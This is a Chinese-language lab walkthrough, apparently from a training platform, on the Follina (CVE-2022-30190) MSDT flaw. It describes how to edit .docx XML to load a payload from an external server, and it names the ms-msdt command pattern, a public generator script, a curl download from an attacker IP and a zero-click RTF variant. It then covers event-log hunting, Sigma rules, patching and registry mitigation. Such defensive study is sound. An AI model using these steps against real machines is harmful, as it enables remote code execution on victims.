用于 CVE-2022-30190 (Follina) 的教育性漏洞利用,演示通过恶意 Office 文档实现 MSDT 远程代码执行,并附带检测与缓解指南。
Microsoft解释说,“当使用URL协议从调用应用程序(如Word)调用MSDT时,存在远程代码执行漏洞。成功利用此漏洞的攻击者可以使用调用应用程序的权限运行任意代码。然后,攻击者可以在用户权限允许的上下文中安装程序、查看、更改或删除数据,或创建新帐户”。(https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Microsoft指出,“Microsoft支持诊断工具(MSDT)收集信息以发送给Microsoft支持。然后他们将分析这些信息,并据此确定解决您可能在计算机上遇到的任何问题的方案”。考虑到这一点,它本质上是一种让Microsoft支持人员能够直接从源头获取所需全部信息、立即了解问题所在的方式。
漏洞利用说明
首先声明:为了演示目的,我们将通过Word文档(特别是.docx格式)加载我们的载荷——这是最初在野外发现的利用方式。然而,该漏洞已被证明也能在多种其他Office产品中生效。
该漏洞的两个重要方面是: 1 - 特定的docx文件包含OLE(最初是对象链接与嵌入的缩写)对象引用,有时这些引用采用托管在其他位置的HTML文件形式。 2 - MS-MSDT允许执行代码。
将上述两个方面结合起来,可以使用MS-MSDT HTML方案来执行PowerShell代码,并且可以利用docx文件通过Word的外部引用功能加载该代码。
更具体地说,深入docx结构,"word/_rels/document.xml.rels"文件中有一个XML标签,其属性Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject",描述了一个外部oleObject引用。为了利用这个docx特性,我们可以编辑此标签的内容,将Target值改为http://<external_payload_server.com>/<payload.html>,并将TargetMode值改为"External",从而指向我们托管的载荷。
在word/document.xml文件中,有一个以<o:OLEObject...>开头的XML标签,我们需要将其Type值改为"Link",然后添加键值对属性UpdateMode="OnCall"。
剩下要做的就是托管Word文件将连接的载荷,并在文件打开时接收指令。这通过创建一个结构类似于以下内容的html文件来完成:
在上述html文件内容中,你会注意到ms-msdt:/id PCWDiagnostic /skip force /param命令,以及可以用于设置目标机器上要执行命令的命令开关。然后你可以根据自己的目的混合搭配载荷。
这样,我们就拥有了一种无需接触任何宏即可实现远程代码执行的方法,并且正如我们稍后将看到的,甚至无需打开恶意文档。
公开可用的利用焦点 (https://github.com/JohnHammond/msdt-follina) John Hammond创建了一个工具,用于自动化创建恶意文档(maldoc)并托管包含恶意命令的html文件的过程。该工具在上述链接中有文档说明,我们将使用其分支版本来进一步理解前面提到的漏洞利用概念。
打开终端,克隆此仓库并将工作目录更改为msdt-follina仓库所在位置。 root@host:~/Follina-MSDT# python3 follina.py
启动漏洞利用后,你应该已经托管了文件,因此它已准备好“传送”到受害者机器。保持原始终端打开,打开另一个终端并输入以下命令以在服务器上托管文件: root@host:~/Follina-MSDT# python -m http.server 3456
在目标机器上,打开命令提示符并输入以下命令: C:\Users\user> cd Desktop C:\Users\user\Desktop> curl http://[attack_machine_IP]:3456/follina.doc -o follina.docx
这将把恶意文档下载到我们的机器上,不久之后,你应该能看到桌面上出现名为follina.docx的Word文件,准备运行。准备好后,打开文件并观察会发生什么。现在,让我们让恶意文档及其衍生的所有内容保持运行状态。
“零点击”实现
为了复现此漏洞的“零点击”实现,我们只需转到恶意Word文件,添加一条可爱的消息(完全可选),以富文本格式(RTF)保存,就准备好了。此实现假设受害者机器处于预览窗格视图,否则将恢复为原始功能,该功能在打开文件时仍会运行。
打开文件资源管理器并导航到桌面文件夹。在那里你会看到我们制作的看似无害的文件,需要点击它。小心地单击一次,注意不要实际打开它,观察会发生什么。
尽管没有实际打开文件,漏洞利用却以与之前练习相同的方式运行了。这是因为两个关键特性: 1 - 文件资源管理器在打开文件前预览文件的功能。 2 - RTF格式允许文档文件在打开前在文件资源管理器中被预览(以及其他用途)。
将两者结合并滥用,就产生了我们刚刚目睹的攻击向量。
检测与缓解 威胁狩猎:
我们用于研究漏洞利用的Windows机器已预先配置了以下日志记录:
这些审核机制默认未配置,因此务必在自己的环境中启用它们,以帮助检测可疑行为,并保留有价值的数据供取证分析人员使用。
在之前的流程中,我们发现在利用漏洞时创建了一些有趣的进程。这些进程创建记录在Windows安全日志中,可以通过你喜欢的查看器进行分析,或转发到集中日志收集器进行处理,以便后续使用。
对于此任务,我们将使用Nirsoft的Event Log Viewer for Windows来检查我们之前识别的进程创建记录。然后,我们将查找这些进程创建记录中的细节,以便在其他事件日志中寻找线索,更好地解释幕后发生的事情。
打开FullEventLogView。转到View > Use Quick Filter。日志顶部会出现一个搜索栏,允许我们进行快速搜索。由于我们想检查进程创建记录的详细信息,可以点击最左侧的下拉菜单,选择Find Event ID (space/comma...),然后在提供的搜索栏中输入4688。
屏幕应会填充进程创建事件,你会立即注意到事件数量非常多,尽管机器交互很少。
我们要检查的第一个工件是winword.exe —— 理解此进程的事件流,可以让我们了解通常的Office进程在msdt利用上下文中的行为。按Ctrl+F调出查找功能,输入winword。
你可能会看到的第一条记录是创建新进程WINWORD.EXE的那条,由详细信息“新进程名称”标识。此进程标志着follina.docx文件的打开,由详细信息“进程命令行”标识。看起来不完全相同是正常的。继续点击“查找下一个”按钮,直到找到一条类似长"ms-msdt"(powershell)命令的记录。
在这里,我们会看到WINWORD.EXE是创建者进程,通常被称为msdt.exe的父进程。注意那条包含多个PowerShell cmdlet(读作command-let)以及多个目录遍历的长命令行记录。在你的环境中看到这种情况本身就应立即引起警觉。这里有一个可以仔细查看的免费线索:字符串Y2FsYw==,解码后得到字符串calc。
由于我们看到了PowerShell cmdlet,因此过滤PowerShell事件以进一步检查这条线索是有意义的。由于记录PowerShell事件的唯一事件ID很多,我们可以通过提供者进行过滤。转到Options > Advanced Options。点击第二个下拉菜单,选择Show only the specific providers (comma-delimited...)。输入用通配符(*)括起来的PowerShell,以便包含所有与PowerShell相关的提供者。
清除之前输入的“快速过滤器”框中的4688,屏幕应会填充来自PowerShell提供者的事件。然后,我们可以通过我们上面记录的PowerShell命令的一部分来过滤事件。
到达此事件后,我们可以关闭查找功能,然后沿着此Scriptblock文本的踪迹继续;你可以通过按键盘上的向下键或手动点击事件导航到下一个事件。探索紧接此脚本块文本之后的事件,将显示从PowerShell角度逐步执行calc的过程。
Sigma规则可用性: Huntress检测工程师Matthew Brennan创建了一条sigma规则,用于检测环境中的可疑MSDT执行,而最好的部分是,每当社区发现新内容时,它都会不断更新。
Sigma规则可以在这里找到 (https://gist.github.com/matthewB-huntress/14ab9d309f25a05fc9305a8e7f351089)
Uncoder.IO (https://uncoder.io/) 是一个很好的工具,可以帮助将sigma规则转换为可以立即在您选择的SIEM中使用的查询。
在环境中搜索MSDT利用时,您可以选择使用sigma规则作为检测机制,用于:
MSDT还使用另一个二进制文件 (https://twitter.com/KyleHanslovan/status/1531114931973767168) 来传递执行,因此应关注以它作为父进程的可疑子进程并进一步调查。上面的“编辑”信息是上一个任务中问题的答案——请自行查看以免剧透。
进一步阅读: 检测Follina:Microsoft Office远程代码执行零日漏洞 (https://www.logpoint.com/en/blog/detecting-follina-microsoft-office-remote-code-execution-zero-day/)
防病毒/Windows Defender: 许多Microsoft Defender产品都有检测机制,我们信赖的Microsoft安全响应中心 (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/) 为我们提供了这些产品的列表。
修复
此漏洞的补丁包含在2022年6月累积Windows更新中。用户必须安装这些更新才能受到保护。你可以选择手动定期更新(效率不高且容易忘记),或者选择自动检查并安装更新。
禁用MSDT URL协议: 在补丁发布之前,安全团队紧急要求其组织的IT管理员立即禁用MSDT URL协议。禁用MSDT URL协议后,疑难解答程序将不会作为链接启动,因此Office无法调用ms-msdt。要禁用该协议,首先以管理员身份运行命令提示符: C:\Users\Administrator> reg query HKEY_CLASSES_ROOT\ms-msdt C:\Users\Administrator> reg export HKEY_CLASSES_ROOT\ms-msdt ms-msdt_backup C:\Users\Administrator\Desktop> reg delete HKEY_CLASSES_ROOT\ms-msdt /f C:\Users\Administrator\Desktop> reg query HKEY_CLASSES_ROOT\ms-msdt
到现在,你肯定注意到我们一直在将工作目录更改为桌面——这样我们就能立即看到命令对环境带来的更改:文件创建是非常明显的。但这绝不是任何环境中的最佳实践。
我们引入的第一个reg query命令是快速检查该键是否存在。随后是reg export,将我们的键导出到文件中,以便稍后当Microsoft发布此漏洞的永久修复程序时,我们可以将其重新集成到系统中。导出的文件保存在当前工作目录中——在我们的例子中是桌面。reg delete命令是实际禁用MSDT URL协议的命令,因为它基本上将其从系统中完全移除。最后的reg query命令是确认检查,确认该键不再存在。
在Windows机器上禁用MSDT URL协议后,让我们尝试再次触发漏洞利用,并观察它对机器的影响。这是检查我们的控制措施是否能够捕获攻击的好方法,无论攻击是否成功。
攻击面减少(ASR): 如果你在环境中使用Microsoft Defender for Endpoint,请启用ASR规则“阻止所有Office应用程序创建子进程”。从本不应创建子进程的服务中创建子进程是恶意软件的常见特征。 进一步阅读:(https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
最后,本主题的结束方式选择了几种既直接又易于部署的修复流程,Microsoft已经发布了一个补丁,阻止PowerShell注入,从而有效禁用了该攻击向量。